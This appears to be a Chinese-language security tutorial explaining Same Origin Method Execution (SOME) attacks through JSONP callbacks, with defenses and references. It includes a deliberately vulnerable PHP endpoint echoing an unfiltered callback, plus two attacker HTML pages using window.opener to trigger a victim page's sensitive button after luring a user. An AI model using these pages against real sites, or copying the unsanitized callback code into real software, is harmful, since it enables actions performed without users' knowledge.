Some攻击方式的探究

Some攻击方式的探究

0x01 介绍:

Some (Same origin method execution) ,也就是同源方法执行。受同源策略的影响,一个域想要向另一个域传递消息,需要使用JSONP,或者Postmessage,CORS。而some攻击其实就是利用了回调函数的参数值可以由用户控制,从而可以对整个域的dom文档进行操作。

JSONP

jsonp 由于同源策略的存在,两个域之间无法正常沟通,但是<script>标签不受这个限制,所以我们就就可以利用script这个标签,来抓取别的页面动态产生的json数据,这种抓取的方式就是JSONP。

JSONP的实现过程中会存在一个客户端与服务端,
客户端包含对数据进行处理的函数,并且使用script标签向服务端请求它要处理的数据。
假如我们的请求办法是<script type="text/javascript" src="yemian/server.php?callback=">,其中callback的值即就是处理数据的函数名,
然后服务端server.php接受到函数名之后,会对其添加相应的数据并返回给客户端,比如函数名是callback,然后返回给客户端callback({‘xiaoming’,123}),相当于给json数据添加了前缀和后缀,所以称为json with padding。

0x02:利用:

有时候一个参数会过滤导致xss的关键字符,只留下\w+., 这时我们便可以考虑这个参数会不会是被执行的回调函数。假设在主页面www.test.com上存在一个1.html

代码如下

1
2
3
4
5
6
7
8
9
10
11
<html>
<head></head>
<body>
<form>
<button onclick="secret()" >private operation</button>
</form>
<script>
function secret() {
alert('secret');
}
</script>

服务端存在一个执行回调函数的部分来完成相应的功能jsonp.php

1
2
3
4
<?php
$callback = $_GET['callback'];
echo "<script>".$callback."()</script>";
?>

这时我们可以在vps构造两个攻击脚本

  1. some1.html,使漏洞页面的父窗口为存在敏感操作的页面
  2. some2.html的作用即是使用window.opener操作父窗口

some1.html

1
2
3
4
<script>
window.open('some2.html');
location.replace('http://www.test.com/1.html');
</script>

some2.html

1
2
3
<script>
location.replace('http://www.test.com/jsonp.php?callback=window.opener.body.firstElementChild.firstElementChild.click');
</script>

然后我们诱骗别人点开vps/some1.html, 即可在他不知情的情况下执行敏感操作。

0x03: 局限:

我们提交的callback值必须是可执行的js,并且我们没办法控制服务他回调函数要处理的参数,如果服务端为其添加了数据参数,可能会导致同源方法无法执行。

此外,如果服务端返回头的Content-Type值为application/json, callback值便不能被当作js处理,攻击便会失效。
我们为上面的jsonp.php 添加

header("Content-Type: application/json");

页面不再弹窗, 攻击失效

0x04: 防御:

some攻击本质上就是对回调函数参数的滥用,所以防御可以从一下几方面

  • 保证回调函数参数提交的值在白名单范围内
  • 或者使用Postmessage来进行跨域交互。
  • 让Content-Type的值为application/json

0x05: 参考:

http://blog.safedog.cn/?p=13
https://paper.seebug.org/452/
http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2016-0215221
http://www.benhayak.com/2015/06/same-origin-method-execution-some.html
http://zoczus.blogspot.fr/2015/04/plupload-same-origin-method-execution.html